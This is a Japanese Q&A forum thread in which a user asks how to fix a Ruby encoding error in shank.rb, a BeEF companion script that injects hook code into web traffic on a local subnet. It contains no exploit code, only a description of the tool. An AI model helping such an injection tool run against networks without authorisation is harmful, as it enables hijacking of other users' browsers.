エラー

質問

shank.rb:275:in `%': incompatible character encodings: UTF-8 and ASCII-8BIT (Encoding::CompatibilityError)
このようなエラーが出てきてしまうのですが、どうしたらこのプログラムを使えるようになるのでしょうか？
ご教示お願いします。

回答No.1

xf86conf

1. 何のプログラムを使っていて、
2. 何をしようとしたときに、
3. どういう症状が出て、
4. どういう風に困っているのか、
を書いてもらえると、回答を貰えると思います。

お礼

1. 何のプログラムを使っていて、
BeEFというXSS検証ツールなんですが、それに対応しているツールです。
このツールを使用すると、Webトラフィックがローカルサブネットを通過する際に、BeEFの最初の制御コードが自動的に挿入されます。
2. 何をしようとしたときに、
shank.rbというスクリプトを実行したときに
3. どういう症状が出て、
errorが出て
4. どういう風に困っているのか、
スクリプトが実行できない。

ご教示よろしくお願いします。
